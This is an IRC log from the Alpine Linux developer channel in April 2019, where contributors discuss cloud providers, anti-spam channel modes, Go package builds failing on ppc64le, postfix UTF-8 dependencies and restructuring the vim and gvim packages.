2019-04-01 12:55:30 <EarthEngineer> Does anyone know of a cloud that sells alpine instances?
2019-04-01 12:56:54 <mps> EarthEngineer: linode started to offer Alpine few days ago on their cloud
2019-04-01 12:57:13 <EarthEngineer> Thanks!
2019-04-01 12:58:14 <mps> packet.com also have Alpine but not sure if bare metal or VM
2019-04-01 12:59:19 <mps> look on Alpine site under sponsors, there are some links
2019-04-01 12:59:30 <danieli> scaleway too
2019-04-01 13:00:34 <EarthEngineer> None of the sponsors appear to offer alpine instances anymore.
2019-04-01 13:00:59 <danieli> alpine isn't in packet's list @ https://github.com/packethost/packet-images
2019-04-01 13:01:44 <danieli> scaleway seems to offer alpine
2019-04-01 13:02:18 <mps> with some 'hacks' you can install Alpine on many clouds, I did it on gandi.net
2019-04-01 13:02:18 <jwh> only on x86 iafaics and not on the basic plan
2019-04-01 13:02:30 <danieli> yeah, but it's all unofficial mps
2019-04-01 13:02:48 <_ikke_> scaleway still offers Alpine
2019-04-01 13:03:03 <mps> true, but it works quite fine
2019-04-01 13:03:51 <danieli> from the original question: "a cloud that sells alpine instances"
2019-04-01 13:04:17 <danieli> you can usually do some hacks to run alpine on just about any host, but that's probably besides the point
2019-04-01 13:04:17 <mps> ofc, ofc :)
2019-04-01 13:04:36 <danieli> I just realized we're in #alpine-devel and not #alpine-linux :P
2019-04-01 13:06:06 <EarthEngineer> I could not enter #alpine-linux
2019-04-01 13:06:19 <danieli> oh?
2019-04-01 13:06:40 <_ikke_> EarthEngineer: Are you registered?
2019-04-01 13:07:07 <EarthEngineer> I clicked a link and I am here?
2019-04-01 13:18:15 <p4Wv1qn095FW> hrmp #alpine-linux is still registered only, while here - luckily - i don't need to be registered
2019-04-01 13:18:21 <p4Wv1qn095FW> s/hrmp/hrmpf/
2019-04-01 13:18:22 <alpine-meetbot> p4Wv1qn095FW meant to say: hrmpf #alpine-linux is still registered only, while here - luckily - i don't need to be registered
2019-04-01 13:18:40 <_ikke_> yes, we had to deal with a lot of spam a while ago
2019-04-01 13:19:11 <p4Wv1qn095FW> yeah, i was aware and pissed as a legally unregistered user to loose my voice only because of fucking stupid freenode
2019-04-01 13:19:53 <p4Wv1qn095FW> sorry. i get emotional about these things. apologies for the cursewords
2019-04-01 13:20:40 <danieli> try now
2019-04-01 13:20:53 <danieli> the unregistered block isn't really necessary anymore
2019-04-01 13:21:20 <EarthEngineer> I registered and it works. I will be there. Thanks.
2019-04-01 13:21:32 <p4Wv1qn095FW> yeah. and +n +s are super useful for avoiding the spam
2019-04-01 13:22:00 <p4Wv1qn095FW> noone sane uses /list anyomore anyway for finding channels
2019-04-01 13:22:10 <p4Wv1qn095FW> and much less restrictive
2019-04-01 13:22:20 <danieli> we ended up having to use +r during the spam
2019-04-01 13:37:00 <mps> well, I don't see anything bad with requiring registration for development and similar channels
2019-04-01 13:43:40 <p4Wv1qn095FW> mps except for people who are not registered not being able to contribute.
2019-04-01 13:43:56 <p4Wv1qn095FW> if you want to rise big walls in front of contributions, please build walls.
2019-04-01 13:45:20 <mps> what is problem to register, registration could also be fake
2019-04-01 13:48:58 <AinNero> p4Wv1qn095FW: its easy to complain if its not your channel that is being spammed
2019-04-01 13:50:24 <p4Wv1qn095FW> no it is not easy to fake, freenode actually is quite nazi about email addresses
2019-04-01 13:50:46 <p4Wv1qn095FW> AinNero: it is also easy to just hide the chan with +s+n and not be on lists for spammers
2019-04-01 13:51:11 <danieli> please avoid referencing nazism
2019-04-01 13:51:16 <p4Wv1qn095FW> i am operating some chans myself on networks without nickserv and i never had problems with spammers
2019-04-01 13:51:52 <AinNero> p4Wv1qn095FW: freenode is the largest irc network by users
2019-04-01 13:52:03 <AinNero> you network is definitely smaller
2019-04-01 13:52:10 <mps> p4Wv1qn095FW: you can always make short lived fake e-mail address on the net
2019-04-01 13:52:38 <p4Wv1qn095FW> AinNero: ircnet is definitely not significantly smaller
2019-04-01 13:53:35 <AinNero> heh, take a guess why we are here and not on ircnet
2019-04-01 13:54:12 <p4Wv1qn095FW> i have no clue. social pressure? lazyness? everyone is on freenode, why should we not be there?
2019-04-01 13:54:36 <p4Wv1qn095FW> tell me, you were here when the decision was made to be hosted on freenode?
2019-04-01 13:54:48 <AinNero> no
2019-04-01 13:55:01 <AinNero> but i've seen abuse enough to say, freenode is actually quite nice
2019-04-01 13:55:13 <p4Wv1qn095FW> and your metrix of ircnet being smaller than freenode is comming from where?
2019-04-01 13:55:27 <p4Wv1qn095FW> sorry offtopic. i'm off this thread
2019-04-01 13:55:30 <AinNero> 90k > 30k
2019-04-01 13:56:05 <AinNero> there is #alpine-offtopic
2019-04-01 13:58:15 <tmhoang> It seems Alpine has a limit on the length of the command line, circa 1200 characters. Is is Alpine problem or busybox problem ?
2019-04-01 13:59:01 <mps> tmhoang: iirc, shell limit
2019-04-01 13:59:03 <AinNero> usually thats a kernel rlimit
2019-04-01 13:59:14 <AinNero> but bb might have a lower built-in limit
2019-04-01 13:59:40 <mps> I know that perl do some tricks to overcome this limit
2019-04-01 13:59:59 <danieli> afaik you can run `getconf ARG_MAX`
2019-04-01 14:00:04 <TBB> just as a former admin of a huge IRCNet server... I wouldn't place any channels that absolutely need to exist on IRCNet. Freenode is simply superior, Freenode cares, and if the cost of that is registering, then so be it. The positives overwhelmingly beat the negatives... that said, #alpine-offtopic if someone wants to respond
2019-04-01 14:02:56 <p4Wv1qn095FW> i run multiple chans on ircnet and never had a problem, while freenode had this problem also just recently.
2019-04-01 14:02:57 <tmhoang> let me try to increase kernel rlimit to so if it is busybox thing
2019-04-01 14:03:27 <AinNero> p4Wv1qn095FW: /join #alpine-offtopic
2019-04-01 14:03:55 <mps> getconf ARG_MAX gives 131072
2019-04-01 14:04:01 <tmhoang> mps: yes same to me
2019-04-01 14:04:45 <AinNero> ah, offtopic channel has +r set
2019-04-01 14:04:51 <mps> few weeks ago where discussion about that on lwn.net, i think
2019-04-01 14:04:54 <danieli> probably got spam there too
2019-04-01 14:05:08 <AinNero> got spam everywhere
2019-04-01 14:05:13 <mps> s/where/were/
2019-04-01 14:05:14 <alpine-meetbot> mps meant to say: few weeks ago were discussion about that on lwn.net, i think
2019-04-01 14:05:21 <danieli> I can't set -r there, I'm only op in #alpine-linux and #alpine-infra
2019-04-01 14:05:28 <mps> or was*
2019-04-01 14:07:54 <AinNero> p4Wv1qn095FW: "just recently" because this is an targeted attack by meepsheep, probably
2019-04-01 14:19:20 <TBB> furthermore, IRCnet has -no- defense against abuse, and that includes the network operators
2019-04-01 14:21:02 <danieli> #alpine-offtopic, please
2019-04-01 14:21:46 <TBB> well, I'm not going to continue on this topic, no matter what the channel :)
2019-04-01 14:28:27 <p4Wv1qn095FW> danieli: it's easy to say #alpine-offtopic - as long as it's +r...
2019-04-01 14:29:46 <danieli> right, forgot about that for a second - sounds like it's easier to drop the topic
2019-04-01 14:30:45 <p4Wv1qn095FW> as long as +r is replaced with +s+n and not coming back - i'm ok. if +r is enforced my contribs will cease again.
2019-04-01 14:31:54 <danieli> +r was set because the only other option was for ops to manually ban spammers as soon as they had time. that was not sustainable.
2019-04-01 14:32:42 <_ikke_> +s+n is not watertight
2019-04-01 14:32:48 <SpaceToast> +s+n doesn't do anything if you're already known, and I'm not sure a community channel should be "secret"
2019-04-01 14:32:51 <danieli> it's nto watertight by far
2019-04-01 14:32:55 <danieli> not*
2019-04-01 14:33:05 <SpaceToast> (specifically, I don't mind +n, I do mind +s)
2019-04-01 14:33:05 <danieli> we are not going to set +s, and +n is fairly useless when spambots explicitly join our channels to spam them
2019-04-01 14:33:23 <p4Wv1qn095FW> +s is already set...
2019-04-01 14:33:34 <p4Wv1qn095FW> since the attack back then.
2019-04-01 14:33:41 <SpaceToast> I'm seeing [+cnrt]
2019-04-01 14:33:42 <danieli> +r was a last ditch effort, and we forgot to remove it
2019-04-01 14:33:54 <p4Wv1qn095FW> it takes some time for it to become useful.
2019-04-01 14:34:19 <p4Wv1qn095FW> if you see cnrt, then there's something wrong, as r means i would not be able to speak here.
2019-04-01 14:36:58 <_ikke_> -- │ Mode #alpine-devel [+cnst]
2019-04-01 15:40:45 <otlabs> hi ppl
2019-04-01 16:12:35 <otlabs> Travis CI builds the package fine, Drone reports "fatal: refusing to merge unrelated histories", https://cloud.drone.io/alpinelinux/aports/1051/2/1
2019-04-01 16:13:03 <otlabs> Could someone take a look and comment what I am doing wrong?
2019-04-01 16:22:24 <otlabs> I have rebased the commits and that worked out!
2019-04-01 17:20:20 <tcely> otlabs: https://github.com/alpinelinux/aports/pull/6764 it all comes down to where the merge base between your branch and master lands in the previous commits list
2019-04-01 17:25:19 <_ikke_> Do we accept new packages without a maintainer mentioned in testing?
2019-04-01 17:25:30 <_ikke_> (context: https://github.com/alpinelinux/aports/pull/6857#discussion_r270816850)
2019-04-01 17:28:28 <ncopa> _ikke_: yes thats acceptable. Should be a maintainer before move to community or main though
2019-04-01 17:30:04 <_ikke_> ncopa: alright
2019-04-01 17:43:34 <otlabs> _ikke_: Greetings! I have applied glide to gx-go, could you have a look, please?
2019-04-01 17:44:02 <_ikke_> Yes, I'll look at it in a moment
2019-04-01 17:44:15 <otlabs> thanks a lot
2019-04-01 18:12:36 <mps> ncopa: do you have a minute, want to ask you what to do with networkmanager depends on wpa_supplicant, now that we have also iwd
2019-04-01 18:40:47 <mps> I finished notes about install and run Alpine aarch64 under qemu, but artok (who asked me about that) is not here. heh :)
2019-04-01 18:41:03 <_ikke_> Maybe tomorrow morning again
2019-04-01 18:41:39 <mps> yes, will have time to rewrite using fdisk to parted
2019-04-01 18:42:12 <mps> just wanted to post this info here if someone else interested and need it
2019-04-01 18:55:41 <SpaceToast> mps: ask me tomorrow if you need help re: parted :)
2019-04-01 18:55:52 <SpaceToast> I'd be interested at looking, but I'm not planning on doing anything aarch related
2019-04-01 18:55:58 <SpaceToast> (at work right now though)
2019-04-01 19:00:12 <mps> SpaceToast: thanks, I started to play with and finished, it was easy although first time tried to use it from script
2019-04-01 19:00:55 <mps> anyway I will post 'guide' to you if you have any interest to read it
2019-04-01 19:24:42 <otlabs> _ikke_: Thank you for the merge! I got some might be minor issue with gx-go and would like to comment it with you then you have some time.
2019-04-01 19:24:55 <_ikke_> sure
2019-04-01 19:28:22 <otlabs> https://github.com/alpinelinux/aports/pull/5812/files#diff-14e7a12835b8ca0c30a3d56e0c86ffebR37
2019-04-01 19:28:48 <otlabs> In package() I need to go to $srcdir to find bin/gx-go executable
2019-04-01 19:29:16 <otlabs> I was expecting to find it in $builddir/bin/
2019-04-01 19:30:24 <_ikke_> I noticed that difference, not sure why that is
2019-04-01 19:30:53 <otlabs> So, it is not any kind of red flag?
2019-04-01 19:31:29 <SpaceToast> afaik up until subpackages you can feel free poke both src and build dirs
2019-04-01 19:33:14 <otlabs> ok
2019-04-01 19:34:24 <otlabs> I was thinking that I have wrong management of directories variables but was unable to find something unusual. The "gx" package was building its executable in expected location, but "gx-go" does not.
2019-04-01 19:34:54 <_ikke_> GOBIN=/home/build/aports/testing/gx-go/src/bin
2019-04-01 19:34:57 <_ikke_> so that's good
2019-04-01 19:35:03 <_ikke_> or not
2019-04-01 19:35:11 <_ikke_> yeah, that does not exisst
2019-04-01 19:35:22 <otlabs> I think it is not
2019-04-01 19:35:56 <otlabs> Better to say I do not know
2019-04-01 19:36:02 <otlabs> We use: GOPATH="$srcdir" GOBIN="$GOPATH/bin" make
2019-04-01 19:36:42 <otlabs> One package build in binaries in $srcdir/bin and the other in $builddir/bin
2019-04-01 19:36:54 <_ikke_> should that be $BUILDDIR/bin?
2019-04-01 19:37:28 <_ikke_> yes
2019-04-01 19:37:33 <_ikke_> then it's where you expect it
2019-04-01 19:37:45 <_ikke_> https://tpaste.us/KgKq
2019-04-01 19:38:36 <otlabs> ok, thank you _ikke_
2019-04-01 19:38:46 <_ikke_> I can commit that if you want
2019-04-01 19:39:19 <otlabs> My worries are about that 2 same build instructions produce executable in different locations
2019-04-01 19:39:47 <otlabs> I do not understand why
2019-04-01 19:40:52 <otlabs> That's makes me nervous
2019-04-01 19:40:54 <_ikke_> maybe because one does `go get .` and the other go build?
2019-04-01 19:41:04 <otlabs> Bingo!
2019-04-01 19:41:16 <otlabs> You saved me!
2019-04-01 19:41:24 <otlabs> I missed that point!
2019-04-01 19:42:13 <otlabs> I think there is no need in any additional commit with changed GOBIN
2019-04-01 19:42:45 <otlabs> Now I have an explanation for different behavior and it more that ok with me
2019-04-01 19:45:30 <_ikke_> alright, fine with me
2019-04-01 19:46:25 <_ikke_> hmm, gx fails to build to ppc64le
2019-04-01 19:47:07 <_ikke_> https://build.alpinelinux.org/buildlogs/build-edge-ppc64le/testing/gx/gx-0.14.1-r0.log
2019-04-01 19:47:28 <otlabs> Auch, let me take a look
2019-04-01 19:47:43 <_ikke_> vendor/github.com/minio/sha256-simd/sha256block_other.go:26:6: block redeclared in this block
2019-04-01 19:50:02 <otlabs> yep, must be a bug for sha256 implementation for ppc64le
2019-04-01 19:51:14 <otlabs> Should I disable this architecture?
2019-04-01 19:51:21 <_ikke_> You could report it upstream, but not sure if upstream is giving a lot about (or even have the means to fix it for) ppc64le
2019-04-01 19:51:37 <otlabs> I will check
2019-04-01 19:51:54 <_ikke_> Maybe disable it for now so that it does not block the builders
2019-04-01 19:52:04 <otlabs> sure
2019-04-01 19:52:05 <_ikke_> If it's fixed we can always enable it again
2019-04-01 19:54:51 <_ikke_> done
2019-04-01 19:56:24 <otlabs> thank you!
2019-04-01 19:57:52 <_ikke_> ipfs is x86 and x86_64 only anyway
2019-04-01 20:01:33 <otlabs> and for arm too, but I am unable to get it compiling due weird error
2019-04-01 20:02:03 <_ikke_> right, I meant enabled in alpine atm
2019-04-01 20:02:10 <otlabs> yes, right
2019-04-01 20:02:33 <otlabs> I have opened an issue https://github.com/whyrusleeping/gx/issues/235
2019-04-01 20:03:21 <_ikke_> ncie
2019-04-01 20:03:23 <_ikke_> nice
2019-04-01 20:47:59 <mps> finally made a shell script to download and install aarch64 under qemu
2019-04-01 20:53:59 <otlabs> _ikke_: I would like to thank you for your constant attention and help in relation with this PR. It took almost 4 months (sic) to get it finished. :-)
2019-04-01 23:02:01 <otlabs> _ikke_: I got an answer about "gx": "Are your deps up to date (and it looks like you're vendoring). GOARCH=ppc64le go build works fine on my machine." Could you please try if it helps?
2019-04-02 07:27:52 <mps> artok: good morning, did you read yesterday channel log. I made guide how to install aarch64 under qemu
2019-04-02 09:29:15 <artok> mps heya! not yet but thanks!
2019-04-02 11:23:14 <tmhoang> _ikke_ : re testing/gx https://github.com/alpinelinux/aports/pull/6902
2019-04-02 11:24:17 <_ikke_> tmhoang: Thanks. Interesting that the glide.lock is quite recent
2019-04-02 11:24:29 <_ikke_> s/is/was/
2019-04-02 11:24:29 <alpine-meetbot> _ikke_ meant to say: tmhoang: Thanks. Interesting that the glide.lock was quite recent
2019-04-02 11:24:42 <tmhoang> yes new to me too :D
2019-04-02 11:25:38 <mps> I posted upgrade for NM from 1.10.12 to 1.16.0 to https://patchwork.alpinelinux.org/patch/4702/ , anyone have time to review and try it if interested in it of course
2019-04-02 11:25:47 <_ikke_> otlabs: ^^
2019-04-02 11:48:46 <ncopa> mps: i pushed it
2019-04-02 11:49:05 <mps> I see, on #alpine-commits
2019-04-02 11:49:31 <ncopa> i wonder what you think about https://github.com/alpinelinux/aports/pull/6894
2019-04-02 11:49:43 <ncopa> to get utf8 support in postfix it needs ICU
2019-04-02 11:49:46 <mps> lets see if it build on all arch's. I tested on x86_64, aarch64 and armv7
2019-04-02 11:49:53 <ncopa> which is 10x the size of postfix itself
2019-04-02 11:49:58 <ncopa> which is sort of insane
2019-04-02 11:50:24 <ncopa> do we care enough about utf8 that it is worth 30MB+ of dependencies?
2019-04-02 11:50:55 <ncopa> i believe it would be possible to support utf8 with alot less than 30MB
2019-04-02 11:51:29 <ncopa> and musl already supports utf8 out of the box
2019-04-02 11:51:54 <mps> that sound too much for such functionality
2019-04-02 11:56:41 <mps> in current postfix in my server I see 'smtputf8_enable = yes'
2019-04-02 11:58:15 <mps> and that is false config option in my case, just noticed warnings in log
2019-04-02 14:18:38 <otlabs> _ikke_: :-) Hi! I was thinking to force GOARCH=ppc64le. I can also update glide.lock. Would you have an opportunity to check on build machine these changes?
2019-04-02 14:21:14 <_ikke_> otlabs: If you check that PR from tmhoang, you'll see he already fixed the dependencies.
2019-04-02 14:22:47 <_ikke_> otlabs: the builder for ppc64le is currently stuck, so the packge is not uploaded yet
2019-04-02 14:23:50 <otlabs> _ikke_: oh, I missed that message, will look for it
2019-04-02 14:24:15 <otlabs> ok, I got it
2019-04-02 14:25:29 <otlabs> Great! So it was just about to update glide.lock, and no need to force architecture
2019-04-02 14:25:35 <otlabs> Thank you guys!
2019-04-02 14:26:09 <tmhoang> o/
2019-04-02 14:27:24 <clandmeter> ncopa: any objections to https://tpaste.us/DLNq ?
2019-04-02 14:28:04 <_ikke_> apparently it hasn't been built yet either, so we don't know if it's fixed or not
2019-04-02 14:30:23 <otlabs> ok
2019-04-02 14:30:57 <otlabs> I hope it will as last commits to that component were related to architecture in question
2019-04-02 14:31:57 <artok> mps: here? =)
2019-04-02 15:00:26 <ncopa> clandmeter: no objection
2019-04-02 15:05:53 <mps> artok: was on lunch, and now I'm behind moving computer
2019-04-02 15:07:17 <clandmeter> is that another way to call a laptop?
2019-04-02 15:08:08 <mps> it's one kilogram so I don't call it laptop
2019-04-02 15:08:59 <mps> it is computer which is nearly always with me, wherever move, so moving computer :)
2019-04-02 15:09:16 <danieli> moving computer hahahaha
2019-04-02 15:09:27 <clandmeter> i think there are laptops which weigh 1kg?
2019-04-02 15:10:09 <danieli> clandmeter: check this: https://acmeportable.com/products/transpac
2019-04-02 15:10:15 <mps> well, I think so, but all my experience with laptops are 3kg at least
2019-04-02 15:10:20 <danieli> i've made CRIAB (cyber range in a box) rigs with gear from Acme
2019-04-02 15:11:11 <artok> mps: did you have the instructions for qemu ?
2019-04-02 15:13:02 <mps> yes, I will put it for now on tpaste, wait a moment
2019-04-02 15:13:26 <artok> thanks
2019-04-02 15:13:48 <mps> here it is http://tpaste.us/BoLY
2019-04-02 15:14:33 <mps> clandmeter: danieli: moving Alpine computer :) https://www.samsung.com/us/computing/chromebooks/12-14/xe513c24-k01us-xe513c24-k01us/
2019-04-02 15:15:32 <mps> artok: read it carefully and if you have any comment please post it here or wherever you like
2019-04-02 15:16:45 <artok> will do.
2019-04-02 15:17:03 <artok> later this evening, now doing some sports
2019-04-02 15:17:15 <mps> and here is a script which do all things for you http://tpaste.us/NKav
2019-04-02 15:17:42 <artok> =)
2019-04-02 15:17:45 <artok> thans
2019-04-02 15:17:49 <mps> missing part as I noted in guide is the u-boot.bin
2019-04-02 15:18:44 <mps> few hours ago I posted patch to Alpine u-boot to make qemu u-boot for armhf/armv7 and aarch64
2019-04-02 15:19:14 <mps> ask clandmeter to push it and you will have u-boot in edge repo
2019-04-02 15:19:18 <mps> :)
2019-04-02 15:19:55 <clandmeter> 
ACTION hides from screen

2019-04-02 15:20:48 <mps> :D
2019-04-02 15:22:24 <mps> artok: if you have any question or suggestion please ask
2019-04-02 15:22:58 <mps> I wont to polish this guide a little and after that to make one for arm32
2019-04-02 15:23:57 <artok> yeah I'll go through that this night, need to run those command under linux virtualbox machine and then move the image to mac....
2019-04-02 15:25:10 <mps> ok, we are not in hurry
2019-04-02 16:10:57 <z3ntu> Why does the ccache armhf build (https://build.alpinelinux.org/buildlogs/build-edge-armhf/main/ccache/ccache-3.6-r0.log) thinks it's the "build system type" is `armv6-alpine-linux-musleabihf` and not `armv6-alpine-linux-muslgnueabihf` (as specified in the `arch_to_hostspec` function)?
2019-04-02 16:25:34 <BitL0G1c> @ncopa - fix for dovecot fatal version mismatch - https://github.com/alpinelinux/aports/pull/6911
2019-04-02 16:32:51 <_ikke_> ncopa: gource seems to feel on armhf since the bump
2019-04-02 16:36:57 <ncopa> feel?
2019-04-02 16:37:10 <_ikke_> fail
2019-04-02 16:37:17 <ncopa> need to be afk for a couple of hours
2019-04-02 16:37:28 <ncopa> will try have a look at it after
2019-04-02 16:37:32 <_ikke_> ok
2019-04-02 17:18:43 <_ikke_> sigh, amount of open PRs doesn't want to go below 200 :(
2019-04-02 17:29:40 <mps> _ikke_: do you count patchworks
2019-04-02 17:30:07 <_ikke_> mps: heh, nope, not really
2019-04-02 17:30:59 <mps> so, count is probably double :(
2019-04-02 17:31:14 <_ikke_> I see a lot of patches on PW that look already applied
2019-04-02 17:31:24 <_ikke_> 105 patches on PW
2019-04-02 17:32:07 <mps> I also noticed that some outdated or superseded
2019-04-02 17:33:03 <mps> uhhm, that remembers me that vimdiff should be fixed
2019-04-02 17:33:16 <_ikke_> yes, I ran into that today
2019-04-02 17:34:31 <mps> will you fix it, if not I will try
2019-04-02 17:34:45 <_ikke_> I have some other things on my todo list
2019-04-02 17:35:06 <mps> tell me about todo list :)
2019-04-02 17:35:12 <_ikke_> hehe :D
2019-04-02 18:35:11 <otlabs> Oh, I see gx-go was also updated to support ppc64le! Thanks!
2019-04-02 18:35:31 <_ikke_> Yes, indeed :-)
2019-04-02 18:36:09 <_ikke_> otlabs: nice thing dealing with these go things is that it helped me updating fzf as well :)
2019-04-02 18:39:13 <SpaceToast> oh! I didn't realize you were the fzf maintainer :O
2019-04-02 18:39:26 <SpaceToast> check out skim :D
2019-04-02 18:40:09 <_ikke_> SpaceToast: Yeah, I noticed when adding the aport :)
2019-04-02 18:40:14 <SpaceToast> :D
2019-04-02 18:47:56 <mps> vim, gvim and vimdiff are not in good shape :(
2019-04-02 18:48:46 <SpaceToast> how about nvim?
2019-04-02 18:49:00 <SpaceToast> I should try vis/kak again, speaking of
2019-04-02 18:49:18 <_ikke_> lol, the last one sounds funny in dutch :D
2019-04-02 18:50:43 <mps> tried kakoune and like concepts but have to throw decades of ingrained habit
2019-04-02 18:51:02 <SpaceToast> yeah, that's the hard part
2019-04-02 18:51:10 <SpaceToast> the ecosystem is also less mature - where's my nerdtree, for example?
2019-04-02 18:51:35 <mps> also tried vis and neovim with hope to find better and simpler vim but always go back to vim
2019-04-02 18:51:37 <SpaceToast> I kinda like vis more, since it's lua-based rather than some of the strangeness of kakoune, but neither was ready last I looked (about 1.5 years ago)
2019-04-02 18:51:49 <SpaceToast> neovim works for me, it's basically fully compatible at this point
2019-04-02 18:52:06 <SpaceToast> just symlink ~/.vim to ~/.config/nvim and ~/.vim/vimrc to ~/.vim/init.vim
2019-04-02 18:52:41 <mps> yes, I have it still installed but don't use much
2019-04-02 18:53:17 <SpaceToast> I just alias vim=nvim :)
2019-04-02 18:57:46 <mps> gvim conflicts with vim, which doesn't make sense, imo
2019-04-02 19:03:27 <mps> how to block '# automatically detected:' 'depend = gvim=8.1.1075-r0' in APKBUILD
2019-04-02 19:05:22 <otlabs> _ikke_: great!
2019-04-02 19:08:25 <mps> is there option to disable autodeps in subpackage
2019-04-02 19:15:56 <mps> aiee, options="!tracedeps"
2019-04-02 19:17:37 <_ikke_> can you override that in the subpackage function?
2019-04-02 19:17:47 <mps> yes, i did there
2019-04-02 19:18:15 <mps> and now installed vimdiff without gvim
2019-04-02 19:19:15 <mps> speaking of gvim, I think binary should be renamed to gvim
2019-04-02 19:20:09 <mps> to me quite reasonable is to have both installed and not to conflict as it is now
2019-04-02 19:22:11 <mps> what you think about that?
2019-04-02 19:22:33 <mps> all of you, I mean
2019-04-02 19:23:06 <SpaceToast> I'm ok with naming gvim gvim
2019-04-02 19:25:07 <mps> and X version of view  gview, and X version of vimdiff gvimdiff
2019-04-02 19:34:54 <otlabs> andypost[m]: hi! are you around?
2019-04-02 19:35:16 <mps> actually, do we need a package with just symlink to binary in other pkg, and nothing more
2019-04-02 19:35:48 <mps> I'm speaking of vimdiff
2019-04-02 19:36:28 <SpaceToast> if it's just a symlink, I'd imagine we can just ship it with the main package
2019-04-02 19:36:36 <SpaceToast> "oh no, 64 extra bytes"
2019-04-02 19:37:31 <mps> tar tvf ~/packages/main/x86_64/vimdiff-8.1.1075-r0.apk | tpaste
2019-04-02 19:37:50 <mps> and result http://tpaste.us/yPnk
2019-04-02 19:39:26 <mps> still in vim pkg we have symlinks: usr/bin/ex -> vim, usr/bin/view -> vim etc.
2019-04-02 19:40:54 <mps> will wait for maintainer thoughts about all this
2019-04-02 19:46:45 <andypost[m]> otlabs: mostly not
2019-04-02 20:03:14 <otlabs> andypost[m]: ok, next time. thank you!
2019-04-02 20:06:52 <_ikke_> rdutra: You enabled ppc64le on mapnik, but it's dependency gdal-dev, is not built for that arch
2019-04-02 20:07:09 <_ikke_> But apparently that's a very old commit where it was enabled
2019-04-02 20:07:52 <_ikke_> ok, gdal was reduced to x86(_86)
2019-04-02 20:18:19 <_ikke_> poor mans way of live build logs: watch -n5 'curl -s https://build.alpinelinux.org/buildlogs/build-edge-x86/testing/mapnik/mapnik-3.0.22-r0.log | tail' :)
2019-04-02 20:50:28 <otlabs> _ikke_: could you please take a look at gx on ppc64le build log nad confirm it is ok now? https://build.alpinelinux.org/buildlogs/build-edge-ppc64le/testing/gx/gx-0.14.1-r1.log
2019-04-02 20:50:49 <_ikke_> Yes, it's ok now
2019-04-02 20:50:55 <_ikke_> \o/
2019-04-02 20:51:47 <otlabs> thank you!
2019-04-02 20:51:54 <otlabs> and for gx-go pleA
2019-04-02 20:52:13 <otlabs> and for gx-go too please, https://build.alpinelinux.org/buildlogs/build-edge-ppc64le/testing/gx-go/gx-go-1.9.0-r1.log
2019-04-02 20:53:12 <_ikke_> The builders are all green, so everything is fine
2019-04-02 20:53:22 <otlabs> cool. thank you!
2019-04-02 20:53:34 <otlabs> 
ACTION feels great

2019-04-02 20:53:40 <_ikke_> otlabs: You can watch #alpine-commits (noisy channel) to follow the build status
2019-04-02 20:54:17 <otlabs> _ikke_: I will need to get descent irc client for that
2019-04-02 20:54:22 <_ikke_> nod
2019-04-02 20:54:26 <otlabs> and I will
2019-04-02 20:54:38 <otlabs> which one do you use?
2019-04-02 20:54:43 <_ikke_> I use weechat, and for that channel, I set it up to only highlight when I'm mentioned
2019-04-02 20:54:59 <otlabs> ok
2019-04-02 20:55:39 <otlabs> checking it right now
2019-04-02 20:57:21 <otlabs> between, may I close the issue I opened for gx? It looks like the update made it compile fine as it was suggested.
2019-04-02 20:58:19 <_ikke_> otlabs: on bugs?
2019-04-02 20:59:39 <otlabs> yes
2019-04-02 20:59:55 <_ikke_> which one?
2019-04-02 21:01:23 <otlabs> sorry, not on bugs, on GitHub for gx
2019-04-02 21:01:43 <_ikke_> Wasn't it automatically closed?
2019-04-02 21:02:24 <otlabs> This one: https://github.com/whyrusleeping/gx/issues/235
2019-04-02 21:02:30 <otlabs> It is still opened
2019-04-02 21:02:35 <_ikke_> Ah, you created an issue on github
2019-04-02 21:02:40 <otlabs> yes
2019-04-02 21:02:46 <_ikke_> Oh, now I follow
2019-04-02 21:02:50 <_ikke_> yes, that can indeed be closed
2019-04-02 21:02:58 <otlabs> thank you!
2019-04-02 21:03:06 <_ikke_> Mentioning that it was indeed outdated deps
2019-04-02 21:04:52 <_ikke_> That's a new one, a test failing because an operation takes longer then a certain threshold
2019-04-02 21:05:18 <_ikke_> AssertionError: speed issue <function test_os_path_join at 0xffffb721c6a8>, 0.4082823395729065
2019-04-02 21:05:45 <otlabs> Done
2019-04-02 21:10:42 <otlabs> main/weechat: upgrade to 2.4.0 #6926, https://github.com/alpinelinux/aports/pull/6926
2019-04-02 21:11:30 <otlabs> auch, sorry, non intentional activation of the bot
2019-04-02 21:11:56 <_ikke_> it happens
2019-04-02 23:00:20 <otlabs> time to go, see you!
2019-04-03 06:23:31 <ncopa> morning
2019-04-03 06:23:50 <ncopa> pr#6926
2019-04-03 06:24:08 <ncopa> pr 6926
2019-04-03 06:24:44 <ncopa> danieli: what was your github nick?
2019-04-03 06:25:02 <danieli> ncopa: morning
2019-04-03 06:25:04 <danieli> it's dunielpls
2019-04-03 06:27:14 <ncopa> thanks
2019-04-03 06:27:22 <danieli> why'd you ask?
2019-04-03 06:27:33 <ncopa> danieli: did you have something for updating docker image docs
2019-04-03 06:28:05 <ncopa> danieli: because of this: https://github.com/docker-library/docs/pull/1456
2019-04-03 06:28:25 <ncopa> ok to just merge that for now?
2019-04-03 06:28:43 <ncopa> maybe should be discussed in #alpine-docs
2019-04-03 06:28:50 <danieli> ncopa: they're minor fixes, but yes, it's okay until I've worked out some nooks and crannies
2019-04-03 06:29:53 <danieli> the build script has been renamed and i suspect there are other changes that makes some of the information obsolete
2019-04-03 06:31:28 <SpaceToast> is the image an official alpine project?
2019-04-03 06:31:50 <danieli> SpaceToast: in practice, it's always been one, but we're moving it from gliderlabs/ to alpinelinux/
2019-04-03 06:31:55 <SpaceToast> ok
2019-04-03 06:32:15 <SpaceToast> I added documenting docker (with a caveat that only the image is an alpine project, not all of docker) in the user handbook
2019-04-03 06:32:21 <SpaceToast> likely the "Working With" section
2019-04-03 06:32:30 <SpaceToast> who should I poke once I get there?
2019-04-03 06:33:31 <SpaceToast> uh, missed a "to my todo list"
2019-04-03 06:33:37 <SpaceToast> (sorry, it's 2:30am)
2019-04-03 07:04:16 <danieli> ncopa: I'll ask you in DMs about it when I've gotten my thoughts together and in text form :)
2019-04-03 07:04:20 <danieli> (docker docs)
2019-04-03 07:23:42 <clandmeter> ncopa: are we going to do another 3.9?
2019-04-03 08:02:25 <ncopa> clandmeter: yes
2019-04-03 08:05:55 <mps> ncopa: you are maintainer of vim, so sorry for annoying you again, but vim is not in good shape and needs serious rework
2019-04-03 08:07:00 <mps> introduced gvim subpackage should be rearranged
2019-04-03 08:08:31 <mps> I think vim should have subpackages like vim-common which should contain files common for vim and gvim, and both of them should depend of this common subpkg
